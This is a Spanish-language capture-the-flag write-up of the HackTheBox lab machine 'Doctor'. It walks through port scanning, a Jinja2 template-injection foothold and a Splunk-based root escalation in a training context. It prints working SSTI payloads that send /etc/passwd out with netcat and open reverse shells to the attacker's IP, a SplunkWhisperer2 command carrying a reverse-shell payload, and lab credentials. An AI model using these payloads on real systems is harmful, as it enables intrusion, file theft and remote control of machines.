HackTheBox - Doctor


Creado
HackTheBox - Doctor

Máquina Linux nivel fácil. Sencilla, pero algo inquietante al inicio, jugaremos con inyección en templates, los logs nos hablarán y romperemos Splunk montando servidores fake por todos lados para ejecutar comandos.

doctorHTB

TL;DR (Spanish writeup)

Creador: egotisticalSW.

Bueno bueno, inicio caótico, empezaremos jugando con el archivo /etc/hosts, encontraremos un login panel que está siendo ejecutado con la librería Werkzeug de Python. Después nos percataremos de una inyección por templates (Server Side Template Injection), en este caso el marco Jinja2. Usaremos esto para ejecutar comandos en el sistema como el usuario web, así mismo obtendremos una reverse Shell (:

Estando dentro y enumerando los logs de la máquina nos encontraremos con una contraseña para un servicio que tenemos en el puerto 8089 (Splunk) y su usuario shaun (que también es usuario del sistema). Con esa contraseña tendremos acceso a la máquina y al servicio, 2x1 :)

En internet nos encontraremos con un exploit que aprovecha la creación de un servidor falso en nuestra máquina para ejecutar comandos mediante el servicio Splunk. Con él obtendremos una Shell como el usuario root.

He creado un script para la generación del usuario en la web, nos logea, crea el post malicioso y hace el despliegue de la Reverse Shell. Hechenle un ojito si quieren ;)

Clasificación de la máquina.

Neutral con puntos reales.

Escribo para tener mis “notas”, por si algun dia se me olvida todo, leer esto y reencontrarme (o talvez no) :) además de enfocarme en plasmar mis errores y exitos (por si ves mucho texto), todo desde una perspectiva más de enseñanza que de solo plasmar lo que hice.

Fases

  1. Enumeración.
  2. Explotación.
  3. Escalada de privilegios.

Enumeración #

Como siempre empezamos realizando un escaneo de puertos sobre la maquina para saber que servicios esta corriendo.

–» nmap -p- --open -v 10.10.10.209

En este caso vamos a agregarle el parametro -T para hacer el escaneo más rapido.

–» nmap -p- --open -v -T5 10.10.10.209

Aún sigue lento, cambiemos el -T por --min-rate:

–» nmap -p- --open -v --min-rate=2000 10.10.10.209 -oG initScan

Perfecto va mucho más rapido.

Es importante hacer un escaneo total, sin cambios ni parametros de más, asi vaya lento, que nos permita ver si obviamos/pasamos algún puerto.

–» nmap -p- --open -v -Pn 10.10.10.203 -oG totalScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-Pn Evita que realice Host Discovery, como ping (P) y el DNS (n)
-T Forma de escanear super rapido, (hace mucho ruido, pero al ser un entorno controlado no nos preocupamos)
–min-rate Indica que no queremos hacer peticiones menores al número que pongamos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función de S4vitar que me extrae los puertos en la clipboard
–» cat initScan 
# Nmap 7.80 scan initiated Wed Dec  9 25:25:25 2020 as: nmap -p- --open -v --min-rate=2000 -oG initScan 10.10.10.209
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.209 ()   Status: Up
Host: 10.10.10.209 ()   Ports: 22/open/tcp//ssh///, 80/open/tcp//http///        Ignored State: filtered (65533)
# Nmap done at Wed Dec  9 25:25:25 2020 -- 1 IP address (1 host up) scanned in 91.31 seconds

Muy bien, tenemos los siguientes servicios:

Puerto Descripción
22 SSH: Conexion remota segura mediante una shell
80 HTTP: Servidor web

Hagamos nuestro escaneo de versiones y scripts en base a cada puerto, con ello obtenemos información más detallada de cada servicio:

–» nmap -p 22,80 -sC -sV 10.10.10.209 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo
–» cat portScan 
# Nmap 7.80 scan initiated Wed Dec  9 25:25:25 2020 as: nmap -p 22,80 -sC -sV -oN portScan 10.10.10.209
Nmap scan report for 10.10.10.209
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec  9 25:25:25 2020 -- 1 IP address (1 host up) scanned in 19.24 seconds

Tenemos:

Puerto Servicio Versión
22 SSH OpenSSH 8.2p1 Ubuntu
80 HTTP Apache httpd 2.4.41

El escaneo total (totalScan) me mostro un nuevo puerto y el tipo de servicio era unknown, haciendo el escaneo de versiones y scripts, obtuvimos:

...
8089/tcp open  ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after:  2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Puerto Descripción
8089 Splunk: Realiza busqueda, analisis y monitoreo de macrodatos, todo mediante una interfaz grafica

Pero validando en la web http://10.10.10.209:8089/ sale error, posiblemente por el SSL, sigamos validando a ver que encontramos.

• Puerto 80

278pagedoctordefault

Enumeremos a ver que podemos encontrar…

–» cat webScan 
# Nmap 7.80 scan initiated Wed Dec  9 10:34:55 2020 as: nmap -p 80 --script=http-enum -oN webScan 10.10.10.209
Nmap scan report for 10.10.10.209
Host is up (0.19s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
|_  /js/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'

# Nmap done at Wed Dec  9 10:35:25 2020 -- 1 IP address (1 host up) scanned in 30.40 seconds

Realizando un fuzz de directorios con nmap, mediante el script http-enum no vemos rutas escondidas u ocultas… Sigamos.

Encontramos:

  • Posible dominio: doctors.htb
  • Posibles usuarios: Jade Guzman, Hannan Ford, James Wilson y Admin.

Probemos colocando en el /etc/hosts el dominio, para que cuando hagamos una petición hacia 10.10.10.209, nos resuelva hacia doctors.htb.

–» cat /etc/hosts
...
10.10.10.209  doctors.htb
...

Ahora validemos en la web:

Muy bien, tenemos un login panel (que tambien nos permite registrarnos) en el puerto 80, veamos si cambio algo ahora con el nuevo puerto: 8089.

278pagedoctorsSSL

Perfecto, tenemos la interfaz de splunk con algunas rutas, 2 de ellas funcionan (nos piden usuario y contraseña para entrar) y las otras 2 pues no :P

Validando el login panel ninguna credencial por default es valida, usando whatweb nos indica:

–» whatweb http://doctors.htb/login?next=%2F
http://doctors.htb/login?next=%2F [200 OK] Bootstrap[4.0.0], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/1.0.1 Python/3.8.2], IP[10.10.10.209], JQuery, PasswordField[password], Python[3.8.2], Script, Title[Doctor Secure Messaging - Login], Werkzeug[1.0.1]

Esta usando una libreria de Python llamada [Werkzeug en su versión 1.0.1](https://werkzeug.palletsprojects.com/en/1.0.x/) que permite entre otras cosas usar WSGI (Interfaz de puerta de enlace de un servidor web) para que los servidores reenvien solicitudes a aplicaciones web.

Buscando vulnerabilidades no existen aún publicas, probemos a registrarnos:

278pagedoctorscreateuser

Your account has been created, with a time limit of twenty minutes!

Entramos y tenemos:

278pagedoctorshomeauth

Si hacemos un reconocimiento de directorios con dirsearch tenemos:

–» dirsearch.py -u http://doctors.htb -t 50 -w /opt/SecLists/Discovery/Web-Content/raft-small-directories.txt --cookie "session=.eJwlzjFuA0EIheG7TJ0CGGDAl1kxOyBbkRJp166i3N0bpXy_XvH9tK2OPO_t9jxe-dG2x2q3NgtzYBAoa7pNMfauw3Aim2o49iWLaOVwGcmBEVXQ5XpZQo9gItNIcFSB6JIyQXWH5c68rwIiqgE-S4t52aCeITWnDylpF-R15vGvoWvu51Hb8_szv64wcFo4wWRDNyfOJIfyhY5-ueKvs0T7fQMhET1g.X9EN1A.AaNm4WThP6qM6V-ogiPoLgMafAU" -q
Arg Descripción
-t Hilos con los que queremos que haga el proceso
-q Para que simplemente nos muestre el reporte
302 -  217B  - http://doctors.htb/logout  ->  http://doctors.htb/home
302 -  217B  - http://doctors.htb/register  ->  http://doctors.htb/home
302 -  217B  - http://doctors.htb/login  ->  http://doctors.htb/home
200 -    3KB - http://doctors.htb/home
200 -  101B  - http://doctors.htb/archive
200 -    4KB - http://doctors.htb/account

Con el escaneo (y si vemos el codigo fuente (CTRL + U) de la pagina, vemos la referencia hacia /archive:

278pagedoctorsarchiveRfound

Pero entrando a la ruta no obtenemos nada, simplemente una página blanca. Haciendo fuzz sobre esa ruta tampoco obtenemos nada… Revisando podemos crear posts y nos los guarda en la ruta /user/lanz, probando con el usuario /admin también tenemos respuesta, solo hay un post por parte de él:

278pagedoctorsadminpost

Pues veamos si el apartado para crear post es vulnerable a alguna inyección.

278pagedoctorscreatepost

Después de estar demasiado tiempo estancado sin entender que debía hacer, ya que ninguna inyección me mostraba algo y tampoco me funcionaban las típicas sentencias blind. Me fui para el foro de la máquina, alguien decía que es una inyección extraña que trata sobre Templates (ya que habían muchas dudas sobre si era SQLi). También hablaban de AllTheThings, lo cual me trajo a la mente un repositorio gigante de payloads para probar, lo busque y lo encontré: PayloadsAllTheThings.

Primero busqué en internet Template injection y el resultado fue Server Side Template Injection (SSTi).

“Template engines are widely used by web applications to present dynamic data via web pages and emails.” Portswigger

Profundizando encontré que dependiendo el lenguaje de programación, existen tipos de Templates, por lo tanto, diferentes tipos de explotación, probando y tomando en cuenta que estamos corriendo una librería de Python podemos tener los siguientes Templates, Jinja2, Django, Mako.

Explotación #

Pero testeando con la página no veía ningún indicio de que algo estuviera pasando al probar los 3 tipos. Entre de nuevo en “no sé que probar”, de un momento a otro recordé a /archive (la rua que habíamos encontrado en el fuzz y como comentario en el código HTML), así que la abrí.

En ese momento había creado un post probando {{7*7}}, el cual si veíamos en algún lado el número 49, quiere decir que tendríamos nuestra inyección con Jinja2.

278pagedoctorsnewpost1

Revisando el fuente de /archive encontramos lo que buscabamos (:

278pagedoctors_injA_found

Bien, al probar los dos campos del post, el que nos genera la inyección es el titulo, asi que podemos intentar ejecución de comandos en el sistema:

278pagedoctors_injA_idYwhoami_req

278pagedoctors_injA_idYwhoami_res

Perfecto, tenemos ejecución de comandos en el sistema como web, intentemos obtener el archivo /etc/passwd.

Ponemos en el titulo del post:

{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('cat /etc/passwd | nc 10.10.14.83 4433')['read']()}}

Nos ponemos en escucha por el puerto 4433:

–» nc -nlvp 4433
listening on [any] 4433 ...

Vamos a /archive y ejecutamos, el resultado que tenemos en consola es:

connect to [10.10.14.83] from (UNKNOWN) [10.10.10.209] 55928
root:x:0:0:root:/root:/bin/bash
...
web:x:1001:1001:,,,:/home/web:/bin/bash
...
shaun:x:1002:1002:shaun,,,:/home/shaun:/bin/bash 
splunk:x:1003:1003:Splunk Server:/opt/splunkforwarder:/bin/bash

Listo, pues veamos como obtener una reverse shell (:

NOTA: —

Siguiendo esta guia, logramos obtener el index exacto (407) de la clase subprocess.Popen :P, con el cual tambien podemos ejecutar comandos:

{{''.__class__.__mro__[1].__subclasses__()[407]('ls -la',shell=True,stdout=-1).communicate()}}

— :ATON

Para conseguir la reverse shell podemos probar con netcat:

{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('nc 10.10.14.83 4433 -e /bin/bash')['read']()}}

o

{{''.__class__.__mro__[1].__subclasses__()[407]('nc 10.10.14.83 4433 -e /bin/bash',shell=True,stdout=-1).communicate()}}

Pero no obtenemos respuesta, probemos con la versión antigua, pueda que esa sea la que este instalada:

{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.83 4433 >/tmp/f')['read']()}}

o

{{''.__class__.__mro__[1].__subclasses__()[407]('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.83 4433 >/tmp/f',shell=True,stdout=-1).communicate()}}

Con cualquiera de las dos obtenemos la reverse sheeeeeeeeeeeeeeeeell :)

278pagedoctors_injA_revshdone

Ahora a seguir enumerando (:

Cuando hicimos id con la inyección, vimos un grupo llamada adm, es interesante:

adm: Group adm is used for system monitoring tasks. Members of this group can read many log files in /var/log, and can use xconsole. Historically, /var/log was /usr/adm (and later /var/adm), thus the name of the group. Wiki Debian

Lo siguiente nos da la razón, usando linpeas.sh encontramos esto en un archivo log:

/home/shaun/splunk_whisperer.py:SPLUNK_PASSWORD = "Guitar123"

Probemos con el puerto 8089 (donde esta el servicio Splunk) las credenciales: shaun:Guitar123.

278pagesplunk_servicesin_shaun

Perfecto, estamos dentro…

(Casi me pasa lo mismo que con la máquina Cache, en la que encuentro una contraseña de otro servicio y no lo pruebo como contraseña de sistema y me pongo a enumerar y enumerar, después de tener todo ante mí :P):

web@doctor:~$ su shaun
su shaun
Password: Guitar123

shaun@doctor:/home/web$ whoami
whoami
shaun
shaun@doctor:/home/web$ id
id
uid=1002(shaun) gid=1002(shaun) groups=1002(shaun)
shaun@doctor:/home/web$ 

Listo, démosle candela pa convertirnos en root.

Escalada de privilegios #

Buscando en internet sobre splunk y sus posibles vulnerabilidades, encontramos un repositorio con un exploit interesante que crea un servidor falso en nuestra máquina, el cual hace como “ruta o comunicador” para en la mitad del proceso entrar nosotros a ejecutar comandos.

Hay dos, el local y el remoto, usaremos el remoto, veamos que argumentos toma:

...
parser.add_argument('--scheme', default="https")
parser.add_argument('--host', required=True)
parser.add_argument('--port', default=8089)
parser.add_argument('--lhost', required=True)
parser.add_argument('--lport', default=8181)
parser.add_argument('--username', default="admin")
parser.add_argument('--password', default="changeme")
parser.add_argument('--payload', default="calc.exe")
parser.add_argument('--payload-file', default="pwn.bat")
...

Procedamos a cambiar a lo que tenemos:

...
parser = argparse.ArgumentParser()
parser.add_argument('--scheme', default="https")
parser.add_argument('--host', default="10.10.10.209")
parser.add_argument('--port', default=8089)
parser.add_argument('--lhost', default="10.10.14.83")
parser.add_argument('--lport', default=8181)
parser.add_argument('--username', default="shaun")
parser.add_argument('--password', default="Guitar123")
parser.add_argument('--payload', default="calc.exe")
parser.add_argument('--payload-file', default="pwn.bat")
...

Usaremos --payload en la ejecución para alojar nuestros comandos ;) Generemos una Reverse Shell de una, tomemos el mismo con el que accedimos a web.

–» python3 SplunkWhisperer2/PySplunkWhisperer2/PySplunkWhisperer2_remote.py --payload "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.83 4434 >/tmp/f"

278pagesplunk_Psy_revshell

Listos, tamos dentro, bastante sencillo, aunque antes de encontrar este exploit, estaba un toque confundido usando otras herramientas, pero bueno, una búsqueda siempre confiable con Google: exploit splunk github.

Veamos las flags:

278flags

Máquina un poco traviesa al inicio, bastante sencilla la escalada, quizás para compensar el mismo inicio.

Gracias por pasarte y a seguir rompiendo todo (:

Lanz

Lanz

Holap, simplemente quiero compartir contigo mis notas y que quizás, las tomes como apoyo. Este mundo es un camino raro, complicado a veces, pero divertido, diviertete (: (y entiende que estas haciendo :P)

Comments

comments powered by Disqus